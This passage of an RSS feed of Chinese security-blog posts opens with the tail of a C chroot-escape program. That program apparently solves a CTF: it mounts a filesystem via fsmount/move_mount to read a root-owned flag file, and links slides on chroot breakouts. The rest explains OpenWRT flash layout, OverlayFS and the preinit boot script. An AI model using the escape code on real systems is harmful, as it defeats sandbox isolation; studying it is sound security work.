style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    mfd = fsmount(fsfd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);<br/>    close(fsfd);<br/>    mkdir(<span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, <span style="color: rgb(209, 154, 102);">0777</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (move_mount(mfd, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, AT_FDCWD, <span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, MOVE_MOUNT_F_EMPTY_PATH) &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">2</span>);<br/>    close(mfd);<br/>    <span style="color: rgb(209, 154, 102);">int</span> fd = open(<span style="color: rgb(152, 195, 121);">&#34;/mnt/1/root/flag&#34;</span>, O_RDONLY);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (fd &gt;= <span style="color: rgb(209, 154, 102);">0</span>) {<br/>            <span style="color: rgb(209, 154, 102);">char</span> buf[<span style="color: rgb(209, 154, 102);">100</span>];<br/>            <span style="color: rgb(209, 154, 102);">int</span> len = read(fd, buf, <span style="color: rgb(209, 154, 102);">100</span>);<br/>            write(<span style="color: rgb(209, 154, 102);">1</span>, buf, len);<br/>            close(fd);<br/>    }<br/>    _exit(<span style="color: rgb(209, 154, 102);">0</span>);<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">感兴趣的可以看下，size差异如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002375" data-ratio="0.28" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=de6d9ec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbwBmibTpZKwBr8DLCsib5J6InYPptnoibJ2soiaH1uB1209Hbeic6rTZ9CUuQvdnCzcNTTZ4weHhSW9ug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时关于chroot bypass有一个不错的ppt，里面有关于mount proc的详细描述：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf" target="_blank">https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf</a></p></blockquote><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486028">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9acc05ec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486028%26idx%3D1%26sn%3D5f30970a81e990fe5a71228cec1cd403%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 09 Jan 2024 10:06:00 +0800</pubDate>
    </item>
    <item>
      <title>OpenWRT中的Flash简析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486018&amp;idx=1&amp;sn=d1a2a1bccb2376cb7197423f8ebb788a</link>
      <description>OpenWRT中的Flash简析</description>
      <content:encoded><![CDATA[<p>
原创 <span>邛笼石影</span> <span>2023-10-31 14:19</span> <span style="display: inline-block;">北京</span>
</p>

<p>OpenWRT中的Flash简析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6a83f95f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNotYx31c9MQ3mQib8uNf8NY5lUDiaorvkYEPhnHzAlico0FMBX3QTNwnDlQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">OpenWRT中的Flash简析</h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">前言</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  目前越来越多的路由器、网关等设备选择使用OpenWRT进行开发，那么自然绕不开对OpenWRT一些传统的沿用。如软件层的UBUS、LUCI、UCI等还有硬件层的Flash存储的使用与布局。这里主要关注OpenWRT在flash方面的组织规格并讨论其对基于OpenWRT固件分析带来的作用。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Flash相关基础</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  嵌入式设备一般使用flash芯片(即闪存)做为非易失性存储器，各大厂商路由器也不例外。闪存的好处是无噪音，寻址快，低功耗。但是也有缺点，对于同一个block必须在每次写入前对整个block进行擦除。flash由不同存储原理分为NOR flash与NAND flash。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">NOR flash允许随机逐字节访问，因此CPU可以直接从NOR flash执行代码，对于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">bootloader</code>来说非常好，不必复制到内存就能执行</strong>。而目前市面最流行的是NAND flash，因为价格更低，但是需要专门的控制器访问，所以不能直接从flash执行代码，有时候flash中有坏块，可以通过硬件或软件来识别和去除坏块。这也是为什么Nor flash可以直接作为启动流程中的一部分。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Raw Flash vs FTL Flash</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在存储器中经常擦写的部分容易出现类似机械中的&#34;磨损&#34;情况，就算存储器中固定部分也会因为电磁效应出现&#34;磨损&#34;。也称之为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Non-mechanical wear</code>。在openwrt中根据flash芯片与SoC连接方式，分为两种情况：一种情况是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">raw flash/host-managed</code>(或者直接称之为使用raw flash芯片)；此时flash芯片直接和SoC连接。还有一种就是两者之间需要经过一个额外的控制芯片，这种情况称为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">FTL (Flash Translation Layer) flash/self-managed</code>(或者直接称之为使用FTL Flash芯片)；此时这个额外的控制器主要负责flash芯片的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">磨损均衡</code>以及<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">坏块管理</code>。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">注：绝大多数嵌入式系统属于raw flash情况，而电脑上使用的SSD硬盘和USB几乎属于FTL Flash情况。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">NOR flash vs NAND flash</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  一般路由器中使用的Raw NOR Flash的内存较小(4 MiB – 16 MiB)并且不会出现坏块情况(error-free)；而由于这种芯片error-free所以在此基础之上的系统、SquashFS、JFFS2都不需要考虑坏块管理。 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">因此使用堆叠技术SquashFS和JFFS2组成的OverlayFS</strong>在raw NOR flash配合使用几乎不会出差错。而对于使用Raw NAND flash(32 MiB – 256 MiB)的情况就需要考虑坏块了(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">由于nand flash的工艺不能保证nand的memory array在其生命周期中保持性能的可靠性</strong>，因此在生产和使用过程中会产生坏块)。一般解决方案包括：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• raw NAND flash的生产厂商必须保证某部分区域是error-free的；这部分区域往往就是BootLoader、Kernel、SquashFS存放的地方(这就是固件的主要部分了，这部分就不是flash芯片厂商出厂的东西了而是用户，因此生产厂商需要保证并且告诉用户error-free区域在哪)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 控制固件大小</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• ubifs是一个新兴的应用于mtd上的有效的文件系统。可以有效的组织flash的坏块和负载平衡，同时提高访问速度，减小内存消耗，具有日志的功能，是JFFS2的后续增强版。对于Nand flash芯片，openwrt使用UBIFS管理整个Raw NAND flash，然后在openwrt系统之上的所有文件写都会通过UBIFS</p></li></ul><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Flash分区</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  几乎所有嵌入式系统都包含raw flash芯片。并且他们并不会采用传统的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">MBR</code>或<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">PBR</code>方式进行分区管理(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">master boot record</strong> (<strong style="line-height: 1.75;color: rgb(255, 118, 118);">MBR</strong>)是存储设备中的一个特殊扇区用于记录该设备的分区情况并且可以包含可执行代码。)，而是通过linux内核(有时是BootLoader)完成。方式也很简单，例定义<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kernel</code>区域起始地址为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">X</code>结束于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Y</code>。并且用名字来寻址比直接给出起止地址更加方便。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">一般来说flash的layout如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19722222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1d65bbe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNo8iakX4WQkUPAUE2QHfZynrNQRzJUicwJ2ibOhuwmzwia5hwHmpYKNNMt4w%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Linux overlayfs</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  OverlayFS，顾名思义是一种<strong style="line-height: 1.75;color: rgb(255, 118, 118);">堆叠文件系统</strong>，可以将多个目录的内容叠加到另一个目录上。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">OverlayFS并不直接涉及磁盘空间结构</strong>，看起来像是将多个目录的文件按照规则合并到同一个目录。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">且对多个源目录具体使用文件系统类型没有要求</strong>，即使各个源目录的文件系统类型不同也不影响使用。使用如下命令挂载一个OverlayFS文件系统：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">mount -t overlay -o lowerdir=/lower1:/lower2,upperdir=/upper,workdir=/workoverlay /merged</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上面的命令可以将&#34;lowerdir&#34;和&#34;upper&#34;指定的目录<strong style="line-height: 1.75;color: rgb(255, 118, 118);">堆叠到/merged目录</strong>，&#34;workdir&#34;指定的工作目录要求是和&#34;upperdir&#34;目录<strong style="line-height: 1.75;color: rgb(255, 118, 118);">同一类型文件系统的空目录</strong>。lowerdir的多层目录使用&#34;:&#34;分隔开，其中层级关系为/lower1&gt; /lower2。示意图如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5843971631205673" data-s="300,640" style="" data-type="png" data-w="705" src="https://wechat2rss.xlab.app/img-proxy/?k=b1403d4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNohqO8mxlJojloeW3JyZiaqbcGLnftY579xFBPXViaBvl1WZgSWTa8wzHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在使用如上mount进行OverlayFS合并之后，遵循如下规则：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• lowerdir和upperdir两个目录存在同名文件时，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">lowerdir的文件将会被隐藏</strong>，用户只能看到upperdir的文件。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• lowerdir<strong style="line-height: 1.75;color: rgb(255, 118, 118);">低优先级的同目录</strong>同名文件将会被隐藏。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 如果存在同名目录，那么lowerdir和upperdir目录中的内容将会合并。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 当用户修改mergedir中来自upperdir的数据时，数据将直接写入upperdir中原来目录中，删除文件也同理。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 当用户修改mergedir中来自lowerdir的数据时，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">lowerdir中内容均不会发生任何改变</strong>。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">因为lowerdir是只读的</strong>，用户想修改来自lowerdir数据时，overlayfs会首先拷贝一份lowerdir中文件副本到upperdir中（<strong style="line-height: 1.75;color: rgb(255, 118, 118);">这也被称作OverlayFS的copy-up特性</strong>）。后续修改或删除将会在upperdir下的副本中进行，lowerdir中原文件将会被隐藏。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 如果某一个目录单纯来自lowerdir或者lowerdir和upperdir合并，默认无法进行rename系统调用。但是可以通过mv重命名。如果要支持rename，需要CONFIG_OVERLAY_FS_REDIRECT_DIR。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  嵌入系统中(路由器中就很多)一般配合只读文件系统(SquashFS)作为lowerdir和可写文件系统(JFFS2)作为upperdir使用这一机制，效果就是似乎我们可以修改lowerdir下的文件或目录，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">lowerdir看上去变成了一个可读写的文件系统</strong>。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">openwrt文件系统挂载流程</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  内核从一个已知的原始闪存分区（没有文件系统，可理解为裸设备）启动，之后运行的内核会扫描rootmfs这个mtd分区查找一个有效的超级块，并挂载这个SquashFS分区（这个分区包含了/etc），挂载后执行<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/etc/preinit</code>：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#</span>!/bin/sh<br/><span style="color: rgb(97, 174, 238);"># </span>Copyright (C) 2006-2016 OpenWrt.org<br/><span style="color: rgb(97, 174, 238);"># </span>Copyright (C) 2010 Vertical Communications<br/>[ -z &#34;$PREINIT&#34; ] &amp;&amp; exec /sbin/init<br/>export PATH=&#34;/usr/sbin:/usr/bin:/sbin:/bin&#34;<br/><span style="color: rgb(97, 174, 238);"># </span>类似c中的include<br/>. /lib/functions.sh<br/>. /lib/functions/preinit.sh<br/>. /lib/functions/system.sh<br/><span style="color: rgb(97, 174, 238);">#</span>boot_hook_init list_name //初始化一个名字为list_name的回调列表 <br/>boot_hook_init preinit_essential <br/>boot_hook_init preinit_main<br/>boot_hook_init failsafe<br/>boot_hook_init initramfs<br/>boot_hook_init preinit_mount_root #boot_add_hook list_name cb_name 向名字为list_name的回调列表中添加一个回调函数cb_name<br/><span style="color: rgb(97, 174, 238);">#</span>从/lib/preinit/目录下按照名字顺序添加回调<br/>for pi_source_file in /lib/preinit/*; do<br/>    . $pi_source_file<br/>done<br/>boot_run_hook preinit_essential<br/>pi_mount_skip_next=false<br/>pi_jffs2_mount_success=false<br/>pi_failsafe_net_message=false<br/>boot_run_hook preinit_main #boot_run_hook list_name 调用回调列表list_name里面的回调函数</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">openwrt在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/lib/preinit/</code>下面存放的多数脚本是用于在<strong style="line-height: 1.75;color: rgb(255, 118, 118);">preinit_main</strong>列表中添加回调如：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">$ grep -rn <span style="color: rgb(152, 195, 121);">&#39;preinit_main&#39;</span>             <br/>99_10_run_init:9:boot_hook_add preinit_main run_init<br/>70_initramfs_test:13:boot_hook_add preinit_main 